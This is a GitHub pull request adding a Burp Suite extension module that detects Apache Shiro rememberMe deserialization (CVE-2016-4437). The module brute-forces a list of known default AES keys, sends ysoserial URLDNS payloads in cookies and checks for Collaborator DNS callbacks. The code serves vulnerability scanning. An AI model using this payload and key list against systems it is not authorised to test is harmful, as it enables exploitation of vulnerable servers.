Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

shiro-550 CVE-2016-4437 #26

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,12 @@
<artifactId>tomcat-coyote</artifactId>
<version>7.0.39</version>
<type>jar</type>
</dependency>
<!-- SHIRO -->
<dependency>
<groupId>com.github.frohoff</groupId>
<artifactId>ysoserial</artifactId>
<version>0.0.6</version>
</dependency>
</dependencies>

Expand Down
113 changes: 113 additions & 0 deletions src/main/java/burp/AES.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
package burp;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;


import org.apache.commons.lang.ArrayUtils;

import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

public class AES {

// 加密
public static String Encrypt(String sSrc, String sKey) throws Exception {
if (sKey == null) {
System.out.print("Key为空null");
return null;
}
// 判断Key是否为16位
if (sKey.length() != 16) {
System.out.print("Key长度不是16位");
return null;
}
byte[] raw = sKey.getBytes();
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式"
IvParameterSpec iv = new IvParameterSpec("0102030405060708".getBytes());//使用CBC模式,需要一个向量iv,可增加加密算法的强度
// 9a99e13a-fb6d-4cc3-af6d-fc45f6856597
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
byte[] encrypted = cipher.doFinal(sSrc.getBytes());

return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码功能,同时能起到2次加密的作用。
}
// 加密字节数组
public static String EncryptByte(byte[] bb, byte[] sKey) throws Exception {
if (sKey == null) {
System.out.print("Key为空null");
return null;
}
// 判断Key是否为16位
// if (sKey.length() != 16) {
// System.out.print("Key长度不是16位");
// return null;
// }

SecretKeySpec skeySpec = new SecretKeySpec(sKey, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式"
IvParameterSpec iv = new IvParameterSpec("0102030405060708".getBytes());//使用CBC模式,需要一个向量iv,可增加加密算法的强度
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
byte[] encrypted = cipher.doFinal(bb);
return new BASE64Encoder().encode(ArrayUtils.addAll("0102030405060708".getBytes(), encrypted));//此处使用BASE64做转码功能,同时能起到2次加密的作用。
}


// 解密
public static String Decrypt(String sSrc, String sKey) throws Exception {
try {
// 判断Key是否正确
if (sKey == null) {
System.out.print("Key为空null");
return null;
}
// 判断Key是否为16位
if (sKey.length() != 16) {
System.out.print("Key长度不是16位");
return null;
}
byte[] raw = sKey.getBytes("ASCII");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
IvParameterSpec iv = new IvParameterSpec("0102030405060708"
.getBytes());
cipher.init(Cipher.DECRYPT_MODE, skeySpec, iv);
byte[] encrypted1 = new BASE64Decoder().decodeBuffer(sSrc);//先用base64解密
try {
byte[] original = cipher.doFinal(encrypted1);
String originalString = new String(original);
return originalString;
} catch (Exception e) {
System.out.println(e.toString());
return null;
}
} catch (Exception ex) {
System.out.println(ex.toString());
return null;
}
}

public static void main(String[] args) throws Exception {
/*
* 加密用的Key 可以用26个字母和数字组成,最好不要用保留字符,虽然不会错,至于怎么裁决,个人看情况而定
* 此处使用AES-128-CBC加密模式,key需要为16位。
*/
String cKey = "1234567890123456";
// 需要加密的字串
String cSrc = "Email : [email protected]";
System.out.println(cSrc);
// 加密
long lStart = System.currentTimeMillis();
String enString = AES.Encrypt(cSrc, cKey);
System.out.println("加密后的字串是:" + enString);

long lUseTime = System.currentTimeMillis() - lStart;
System.out.println("加密耗时:" + lUseTime + "毫秒");
// 解密
lStart = System.currentTimeMillis();
String DeString = AES.Decrypt(enString, cKey);
System.out.println("解密后的字串是:" + DeString);
lUseTime = System.currentTimeMillis() - lStart;
System.out.println("解密耗时:" + lUseTime + "毫秒");
}
}
39 changes: 39 additions & 0 deletions src/main/java/burp/ByteArrayUtils.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
package burp;
import java.io.*;
import java.util.Optional;

public class ByteArrayUtils {

public static<T> Optional<byte[]> objectToBytes(T obj){
byte[] bytes = null;
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream sOut;
try {
sOut = new ObjectOutputStream(out);
sOut.writeObject(obj);
sOut.flush();
bytes= out.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return Optional.ofNullable(bytes);
}





public static<T> Optional<T> bytesToObject(byte[] bytes) {
T t = null;
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
ObjectInputStream sIn;
try {
sIn = new ObjectInputStream(in);
t = (T)sIn.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return Optional.ofNullable(t);

}
}
185 changes: 185 additions & 0 deletions src/main/java/burp/j2ee/issues/impl/ShiroDesAll.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,185 @@
package burp.j2ee.issues.impl;

import burp.*;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import sun.misc.BASE64Decoder;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;

import java.io.PrintWriter;
import java.net.URL;
import java.util.*;

/**
*
* @author wangmeng
* @git https://github.com/bigsizeme
*
*/

public class ShiroDesAll implements IModule {

public static String ENCODING_UTF8 = "UTF-8";
public static String ENCODING_GBK = "GBK";
public static String ENCODING_GB2312 = "GB2312";


private static final String SHIRO_DESERIALIZATION = "Apache Shiro Deserialization vulnerability ";



private static final String DESCRIPTION_SHIRO_DESERIALIZATION ="Apache Shiro before 1.2.5, "
+ "when a cipher key has not been configured for the remember me feature, "
+ "allows remote attackers to execute arbitrary "
+ "code or bypass intended access restrictions via an unspecified request parameter "
+ "author wangmeng github: https://github.com/bigsizeme";

private static final String REMEDY ="Update to the new version, please note that there is an unauthorized bypass before version 1.5.2 ";

private PrintWriter stderr;

// private static List<IScanIssue> issues = new ArrayList<>();

private String[] keys = {
"4AvVhmFLUs0KTA3Kprsdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"2AvVhdsgUs0FSA3SDFAdag==",
"6ZmI6I2j5Y+R5aSn5ZOlAA==",
"wGiHplamyXlVB11UXWol8g==",
"cmVtZW1iZXJNZQAAAAAAAA==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"ZnJlc2h6Y24xMjM0NTY3OA==",
"L7RioUULEFhRyxM7a2R/Yg==",
"RVZBTk5JR0hUTFlfV0FPVQ==",
"fCq+/xW488hMTCD+cmJ3aQ==",
"WkhBTkdYSUFPSEVJX0NBVA==",
"1QWLxg+NYmxraMoxAXu/Iw==",
"WcfHGU25gNnTxTlmJMeSpw==",
"a2VlcE9uR29pbmdBbmRGaQ==",
"bWluZS1hc3NldC1rZXk6QQ==",
"5aaC5qKm5oqA5pyvAAAAAA==",
"kPH+bIxk5D2deZiIxcaaaA==",
"r0e3c16IdVkouZgk1TKVMg==",
"ZUdsaGJuSmxibVI2ZHc9PQ==",
"U3ByaW5nQmxhZGUAAAAAAA==",
"LEGEND-CAMPUS-CIPHERKEY=="};


// List<String> keyList = Arrays.asList(keys);
@Override
public synchronized List<IScanIssue> scan(IBurpExtenderCallbacks callbacks,IHttpRequestResponse baseRequestResponse,
IScannerInsertionPoint insertionPoint) {
stderr = new PrintWriter(callbacks.getStderr(), true);



// List<IScanIssue> issues = new ArrayList<>();

IExtensionHelpers helpers = callbacks.getHelpers();

List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
List<String> headers = reqInfo.getHeaders();
// headers.removeIf(header -> header != null && header.toLowerCase().startsWith("cookie:"));
List<IParameter>parameters = reqInfo.getParameters();
byte[] rawrequest = baseRequestResponse.getRequest();
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}

IBurpCollaboratorClientContext context = callbacks.createBurpCollaboratorClientContext();
// String dnslog = context.getCollaboratorServerLocation();
String payload = context.generatePayload(true);
// if(payload == null ||"".equals(payload)){
// payload = context.generatePayload(true);
// stderr.println("[!] 生成dnslog: "+payload);
// }
// System.out.println("生成dnslog: "+payload);
String payloadType = "URLDNS";
// stderr.println("[!] 生成dnslog: "+payload);


for(String base64key : keys){

IScanIssue tempIssue = getResultWithKey(base64key,callbacks,payload,headers,baseRequestResponse,context);
// stderr.println("[!] issues size : "+issues.size());

if(tempIssue!=null){

issues.add(tempIssue);
return issues;
}
}


return issues;
}

private IScanIssue getResultWithKey(String base64Key,IBurpExtenderCallbacks callbacks,String payload,List<String> headers,IHttpRequestResponse baseRequestResponse,IBurpCollaboratorClientContext context ){
String payloadType = "URLDNS";
IExtensionHelpers helpers = callbacks.getHelpers();
IHttpRequestResponse checkRequestResponse = null;
IScanIssue tempIssue = null;
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
// List<IScanIssue> issues = new ArrayList<>();
try {
final ObjectPayload objectPayloadpayload = payloadClass.newInstance();
final Object object = objectPayloadpayload.getObject("http://"+payload);

// final Object object = objectPayloadpayload.getObject("http://tqnhnhjdlajzwuk0yn7t17kfo6uwil.burpcollaborator.net");
Optional<byte[]> bbs = ByteArrayUtils.objectToBytes(object);
// String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
byte[] key = new BASE64Decoder().decodeBuffer(base64Key);
String rememberMe = AES.EncryptByte(bbs.get(), key);
headers.removeIf(header -> header != null && header.toLowerCase().startsWith("cookie:"));
rememberMe = rememberMe.replaceAll("\r|\n", "");
headers.add("Cookie: rememberMe="+rememberMe);


byte[] modifiedRawRequest = helpers.buildHttpMessage(headers, null);
String request = helpers.bytesToString(modifiedRawRequest);

checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), modifiedRawRequest);
byte[] bresponse= checkRequestResponse.getResponse();
String resp = helpers.bytesToString(bresponse);


List<IBurpCollaboratorInteraction> collaboratorInteractions = context.fetchCollaboratorInteractionsFor(payload);
if (checkRequestResponse != null && checkRequestResponse.getResponse() != null
&& collaboratorInteractions != null&& !collaboratorInteractions.isEmpty()){
stderr.println("[!] collaboratorInteractions size: "+collaboratorInteractions.size());


tempIssue = new CustomScanIssue(checkRequestResponse.getHttpService(),
helpers.analyzeRequest(checkRequestResponse).getUrl(),
new CustomHttpRequestResponse(modifiedRawRequest, checkRequestResponse.getResponse(), baseRequestResponse.getHttpService()),
SHIRO_DESERIALIZATION, DESCRIPTION_SHIRO_DESERIALIZATION, REMEDY, Risk.High, Confidence.Firm
);
// for(IBurpCollaboratorInteraction aa:collaboratorInteractions){
// Map<String,String> maps = aa.getProperties();
// maps.forEach((k,v)->{
// stderr.println("[!] key: "+k+" value: "+v);
// });

return tempIssue;
}


} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
}



return tempIssue;
}




}